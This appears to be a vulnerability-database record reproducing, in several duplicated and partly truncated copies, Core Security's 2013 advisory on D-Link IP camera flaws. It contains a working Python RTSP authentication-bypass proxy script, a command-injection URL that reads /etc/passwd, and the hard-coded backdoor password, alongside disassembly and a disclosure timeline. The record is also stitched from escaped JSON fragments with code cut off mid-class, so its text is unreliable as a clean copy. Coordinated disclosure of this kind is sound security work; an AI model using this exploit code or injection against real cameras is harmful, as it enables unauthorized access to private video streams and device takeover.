return\n\u0027\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\u0027\n\n\nclass RTSPAuthByPasser():\n    DESCRIBE_REQ_HEADER = \u0027DESCRIBE rtsp://\u0027\n    UNAUTHORIZED_RESPONSE = \u0027RTSP/1.0 401 Unauthorized\u0027\n    SERVER_PORT_ARGUMENTS = \u0027server_port=\u0027\n    DEFAULT_CSEQ = 1\n    DEFAULT_SERVER_PORT_RANGE = \u00275556-5559\u0027\n\n    def __init__(self, local_port, camera):\n        self.last_describe_req = \u0027\u0027\n        self.camera = camera\n        self.local_port = local_port\n        \n    def start(self):\n        log(\u0027[!] Starting bypasser\u0027)\n        TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n        \n    def spoof_rtsp_conn(self, data):\n        if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n            self.last_describe_req = data\n        elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n            log(\u0027[!] Unauthorized response received. Spoofing...\u0027)\n            spoofed_describe = self.camera.get_describe_data()\n            # Look for the request CSeq\n            m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n            cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n            # Create the response\n            data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n            data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n            data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n            data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n            data+= \u0027\\r\\n\u0027\n            # Attach the spoofed describe\n            data+= spoofed_describe       \n        elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n            # Look for the server RTP ports\n            m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n            ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n            # For each port in the range create a UDP dispatcher\n            begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n            for udp_port in xrange(begin_port, end_port + 1):\n                try:\n                    UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n                except:\n                    pass        \n        return data\n\nif __name__ == \u0027__main__\u0027:\n    if len( sys.argv ) \u003e 1:\n        listener_port = camera_port = int(sys.argv[1])\n        camera_ip = sys.argv[2]\n        if len(sys.argv) == 4:\n            camera_port = int(sys.argv[3])\n        RTSPAuthByPasser(listener_port, DLink((camera_ip,\ncamera_port))).start()\n    else:\n        print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027   \n-----/\n\n7.5. *RTSP Hard-Coded Credentials*\n\n[CVE-2013-1603] RTSP service contains hard-coded credentials that\neffectively serve as a backdoor, which allows remote attackers to access\nthe RTSP video stream. \n\n/-----\nusername: (any)           \npassword: ?*\n-----/\n\nAs we can see in the following dump, the submitted password is compared\nwith the string \u0027:?*\u0027 (the character \u0027:\u0027 is used for concatenation of\n\u0027username:password\u0027). This code belongs to the binary \u0027rtspd\u0027:\n\n/-----\n.text:00011468 loc_11468               ; Load from Memory\n.text:00011468 LDR     R3, [R11,#s2]\n.text:0001146C STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011470 LDR     R2, [R11,#var_C0] ; Load from Memory\n.text:00011474 LDR     R3, [R11,#var_BC] ; Load from Memory\n.text:00011478 ADD     R3, R2, R3      ; Rd = Op1 + Op2\n.text:0001147C SUB     R3, R3, #3      ; Rd = Op1 - Op2\n.text:00011480 STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011484 LDR     R0, [R11,#var_C0] ; s1\n.text:00011488 LDR     R1, =asc_1B060  ; \":?*\"      \u003c-------\n.text:0001148C MOV     R2, #3          ; n\n.text:00011490 BL      strncmp         ; Branch with Link\n.text:00011494 MOV     R3, R0          ; Rd = Op2\n.text:00011498 CMP     R3, #0          ; Set cond. codes on Op1 - Op2\n.text:0001149C BNE     loc_114BC       ; Branch\n-----/\n\n8. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20:\nD-Link team asks for a technical description of the vulnerability. 2013-03-20:\nCore sends a draft advisory with technical details and set the estimated\npublication date of the advisory for May 14th, 2013. 2013-03-20:\nVendor notifies that D-Link Corporation has an unpublished bounty\nprogram for security advisors. The bounty program requires both Core\nSecurity and D-Link to sign a memo of understanding (MoU). 2013-03-25:\nCore notifies that receiving money from vendors may bias the view of the\nreport and rejects the bounty program. 2013-03-29:\nVendor notifies that they hope to close the fix ASAP. 2013-04-08:\nVendor sends the list of vulnerable devices and the associated firmware\nand notifies that they will release patches and release notes on the\nD-Link support forum first. Then, an official public release will be\nannounced (approx. 1 month from forum post to full release). 2013-04-24:\nCore asks for a clarification regarding the D-Link release date and\nnotifies that releasing fixes to a privileged closed group and/or a\nclosed forum or list is unacceptable. 2013-04-25:\nVendor notifies that the patches are ready and scheduled for posting on\nD-Link web site over the next few days. 2013-04-26:\nCore notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29:\nAdvisory CORE-2013-0303 published. \n\n9. *References*\n\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. \n[2]\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png. \n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
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VAR-202001-0843

Vulnerability from variot - Updated: 2023-12-18 12:17

An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream. plural D-Link The product contains a vulnerability involving the use of hard-coded credentials.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. The account username is arbitrary and the password is \"?\". Remote attackers can exploit this issue to bypass the authentication mechanism and gain unauthorized access. http://drupal.org/node/207891. Advisory Information*

Vulnerability Information

Vulnerability Description

Multiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker:

[CVE-2013-1599] to execute arbitrary commands from the administration web interface,
[CVE-2013-1600] to access the video stream via HTTP,
[CVE-2013-1601] to access the ASCII video stream via image luminance,
[CVE-2013-1602] to access the video stream via RTSP,
[CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials.
Vulnerable Packages

The following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked.

[CVE-2013-1600] . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO

[CVE-2013-1602] . ALL mentioned devices and firmware.

Vendor Information, Solutions and Workarounds

D-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information.

Credits

[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.

[CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team.

[CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core Security Consulting Services.

The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

Technical Description / Proof of Concept Code

7.1. OS Command Injection

/----- echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces." . $conf > /dev/null 2> /dev/null eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"

/----- uname -a;cat /etc/passwd -----/ the following request can be sent to the camera web interface:

/----- http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd -----/

7.2. ASCII Video Stream Information Leak

[CVE-2013-1601] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via:

/----- http://192.168.1.100/md/lums.cgi -----/ The following example is the output of a coffee pot video stream [2]:

-----/

7.4. RTSP Authentication Bypass

[CVE-2013-1602] This vulnerability is triggered because:

Authentication is only present in DESCRIBE requests but not in every subsequent request.
When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead). As a result, the video stream can be accessed by an unauthenticated remote attacker.

/----- import sys from socket import * from threading import Thread import time, re

LOGGING = 1

def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)

class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr

def run(self):
    sender = socket(AF_INET, SOCK_DGRAM)
    sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    sender.sendto(self.data_to_send, self.dst_addr)
    response = sender.recv(1024)
    sender.sendto(response, self.recv_addr)
    sender.close()

class UDPDispatcher(Thread): dispatchers = []

def __has_dispatcher_for(self, port):
    return any([d.src_port == port for d in UDPDispatcher.dispatchers])

def __init__(self, src_port, dst_addr):
    Thread.__init__(self)
    if self.__has_dispatcher_for(src_port):
        raise Exception('There is already a dispatcher for port %d'

% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)

def run(self):
    listener = socket(AF_INET, SOCK_DGRAM)
    listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    listener.bind(('', self.src_port))
    while 1:
        try:
            data, recv_addr = listener.recvfrom(1024)
            if not data: break
            UDPRequestHandler(data, recv_addr, self.dst_addr).start()
        except Exception as e:
            print e
            break        
    listener.close()
    UDPDispatcher.dispatchers.remove( self )

def run(self):
    while 1:
        try:
            data = self.source.recv(1024)
            data = self.process_data_callback(data)
            if not data: break
            self.sink.send( data )
        except Exception as e:
            log(e)
            break
    PipeThread.pipes.remove(self)

def run(self):
    while 1:
        # Wait until a new connection arises
        newsock, address = self.sock.accept()
        # Create forwarder socket
        fwd = socket(AF_INET, SOCK_STREAM)
        fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        fwd.connect(self.dst_addr)
        # Pipe them!
        PipeThread(newsock, fwd, self.process_data_callback).start()
        PipeThread(fwd, newsock, self.process_data_callback).start()

class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''

def __init__(self, local_port, camera):
    self.last_describe_req = ''
    self.camera = camera
    self.local_port = local_port

def start(self):
    log('[!] Starting bypasser')
    TCPTunnel(self.local_port, self.camera.address,

self.spoof_rtsp_conn).start()

def spoof_rtsp_conn(self, data):
    if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
        self.last_describe_req = data
    elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and

7.5.

/----- username: (any)
password: ?* -----/

Report Timeline . 2013-03-19: Core Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20: D-Link team asks for a technical description of the vulnerability. 2013-03-20: Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013. 2013-03-20: Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU). 2013-03-25: Core notifies that receiving money from vendors may bias the view of the report and rejects the bounty program. 2013-03-29: Vendor notifies that they hope to close the fix ASAP. 2013-04-08: Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release). 2013-04-24: Core asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable. 2013-04-25: Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days. 2013-04-26: Core notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29: Advisory CORE-2013-0303 published.
References

[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. [2] http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.

About CoreLabs

About Core Security Technologies

Disclaimer

PGP/GPG Keys

Show details on source website

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            "id": "CNNVD-201305-041",
            "trust": 0.6,
            "value": "MEDIUM"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04638"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007157"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1603"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-041"
      }
    ]
  },
  "description": {
    "@context": {
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    "data": "An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream. plural D-Link The product contains a vulnerability involving the use of hard-coded credentials.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. The account username is arbitrary and the password is \\\"?*\\\". \nRemote attackers can exploit this issue to bypass the authentication mechanism and gain unauthorized access. \nhttp://drupal.org/node/207891. *Advisory Information*\n\nTitle: D-Link IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0303\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-03-29\nVendors contacted: D-Link Corporation\nRelease mode: Coordinated release\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\nInformation leak through GET request [CWE-598], Authentication issues\n[CWE-287], Use of hard-coded credentials [CWE-798]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\nCVE-2013-1603\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\ncould allow an unauthenticated remote attacker:\n\n   1. [CVE-2013-1599] to execute arbitrary commands from the\nadministration web interface,\n   2. [CVE-2013-1600] to access the video stream via HTTP,\n   3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\n   4. [CVE-2013-1602] to access the video stream via RTSP,\n   5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\ncredentials. \n\n4. *Vulnerable Packages*\n\nThe following is the list of affected devices and the associated\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\nbut they were not checked. \n\n[CVE-2013-1599]\n   . DCS-3411/3430 - firmware v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1600]\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n\n[CVE-2013-1601] and [CVE-2013-1603]\n   . DCS-3411/3430 - v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1602]\n   . ALL mentioned devices and firmware. \n\n5. *Vendor Information, Solutions and Workarounds*\n\nD-Link announces that all patches are ready and scheduled for posting on\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\nfurther information. \n\n6. *Credits*\n\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\nTeam. \n\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\nCotta from Core QA Team. \n\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\nCore Security Consulting Services. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. *OS Command Injection*\n\n[CVE-2013-1599] A security issue located in \u0027/var/www/cgi-bin/rtpd.cgi\u0027\nallows an unauthenticated remote attacker to execute arbitrary commands\nthrough the camera\u0027s web interface. The OS command injection is due to\nthis code in \u0027rtpd.cgi\u0027:\n\n/-----\necho \"$QUERY_STRING\" | grep -vq \u0027 \u0027 || die \"query string cannot contain\nspaces.\"\n. $conf \u003e /dev/null 2\u003e /dev/null\neval \"$(echo $QUERY_STRING | sed -e \u0027s/\u0026/ /g\u0027)\"\n\n-----/\n The first line of this snippet basically ensures that there are no\nspaces in \u0027$QUERY_STRING\u0027. The last line uses \u0027sed\u0027 to replace\nampersands \u0027\u0026\u0027 with spaces, and then call to the function \u0027eval()\u0027,\nresulting in a typical command injection. For example, in order to execute:\n\n/-----\nuname -a;cat /etc/passwd\n-----/\n the following request can be sent to the camera web interface:\n\n/-----\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd\n-----/\n\n\n7.2. *ASCII Video Stream Information Leak*\n\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\nstream can be accessed by a remote unauthenticated attacker via:\n\n/-----\nhttp://192.168.1.100/md/lums.cgi\n-----/\n The following example is the output of a coffee pot video stream [2]:\n\n/-----\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o\nO O O O O O O O O O O O o o O O o         .   o o o o o o o o o o o o o o\nO O O O O O O O O O O O o o o o . o o o o o o o\nO O O O O O O O O O o . o O O o                               . o o o o o o\nO O O O O O O O O . o o o o o o\nO O O O O O O O . o o o o o o o o\nO O O O O O O . o O O o . o o o o o o o o o\nO O O O O O o     . O O O O O O                         . o o o o o o o o o\nO O O O O O .     O O O O O O O .             o o o o o o o o o\nO O O O O O     o O O O O O O O . o . o o o o o o o o\nO O O O O O     o O O O O O O O . o o o . o o o o o o o o\nO O O O O O     o O O O O O O o . o O O o O O . o o o o o o o\nO O O O O O .   o O O O O O O o . O O O o O O . o o o o o o\nO O O O O O . O O O O O o . O O o o O O o . o o o o o o\nO O O O O O o     O O O O O o . o O O o o O O o . o o o o o\nO O O O O O O     O O O O O . o O O o o O O o . o o o o o\nO O O O O O O .   o O O O o . o o o O o o O O o . o o o o\nO O O O O O O o   . O O O o . o o o O o o O O o . o o o o\nO O O O O O O O   . O O O . o o o O o o O O o . o o o o\nO O O O O O O O     O O O . o o o O o o O O o . o o o\nO O O O O O O O o   o O o   o o o o O o o o O o . o o o\nO O O O O O O O O   . O o   o o o o O o . o O o . o o\nO O O O O O O O O .   O o . o o o o O . o O o . o\nO O O O O O O O O o   o . o o o o o . o O o . o\nO O O O O O O O O O   . o o o . o . o O o . \no O O O O O O O O O . o o o . o . O o .    \no o O O O O O O O O o     . o o o . o . O o .                        \no o o O O O O O O O o     . o o o . o . O o .                          \n\n-----/\n\n7.4. *RTSP Authentication Bypass*\n\n[CVE-2013-1602] This vulnerability is triggered because:\n\n   1. Authentication is only present in DESCRIBE requests but not in\nevery subsequent request. \n   2. When the RTSP session is being established, the authentication\nrequest of current session is ignored (a previously stored response is\nused instead). \nAs a result, the video stream can be accessed by an unauthenticated\nremote attacker. \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n    if LOGGING:\n        print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\n\nclass UDPRequestHandler(Thread):\n    def __init__(self, data_to_send, recv_addr, dst_addr):\n        Thread.__init__(self)\n        self.data_to_send = data_to_send\n        self.recv_addr = recv_addr\n        self.dst_addr = dst_addr\n    \n    def run(self):\n        sender = socket(AF_INET, SOCK_DGRAM)\n        sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        sender.sendto(self.data_to_send, self.dst_addr)\n        response = sender.recv(1024)\n        sender.sendto(response, self.recv_addr)\n        sender.close()\n\n\nclass UDPDispatcher(Thread):\n    dispatchers = []\n    \n    def __has_dispatcher_for(self, port):\n        return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n    \n    def __init__(self, src_port, dst_addr):\n        Thread.__init__(self)\n        if self.__has_dispatcher_for(src_port):\n            raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n        self.src_port = src_port\n        self.dst_addr = dst_addr\n        UDPDispatcher.dispatchers.append(self)\n    \n    def run(self):\n        listener = socket(AF_INET, SOCK_DGRAM)\n        listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        listener.bind((\u0027\u0027, self.src_port))\n        while 1:\n            try:\n                data, recv_addr = listener.recvfrom(1024)\n                if not data: break\n                UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n            except Exception as e:\n                print e\n                break        \n        listener.close()\n        UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n    pipes = []\n    def __init__(self, source, sink, process_data_callback=lambda x: x):\n        Thread.__init__(self)\n        self.source = source\n        self.sink = sink\n        self.process_data_callback = process_data_callback\n        PipeThread.pipes.append(self)\n\n    def run(self):\n        while 1:\n            try:\n                data = self.source.recv(1024)\n                data = self.process_data_callback(data)\n                if not data: break\n                self.sink.send( data )\n            except Exception as e:\n                log(e)\n                break\n        PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n    def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n        Thread.__init__(self)\n        log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n        self.dst_addr = dst_addr\n        self.process_data_callback = process_data_callback\n        # Create TCP listener socket\n        self.sock = socket(AF_INET, SOCK_STREAM)\n        self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        self.sock.bind((\u0027\u0027, src_port))\n        self.sock.listen(5)\n    \n    def run(self):\n        while 1:\n            # Wait until a new connection arises\n            newsock, address = self.sock.accept()\n            # Create forwarder socket\n            fwd = socket(AF_INET, SOCK_STREAM)\n            fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n            fwd.connect(self.dst_addr)\n            # Pipe them!\n            PipeThread(newsock, fwd, self.process_data_callback).start()\n            PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n    def __init__(self, address):\n        self.address = address\n    def get_describe_data(self):\n        return \u0027\u0027\n\n\nclass DLink(Camera):\n    # D-Link DCS-2102/1.06-5731\n    def __init__(self, address):\n        Camera.__init__(self, address)\n    def get_describe_data(self):\n        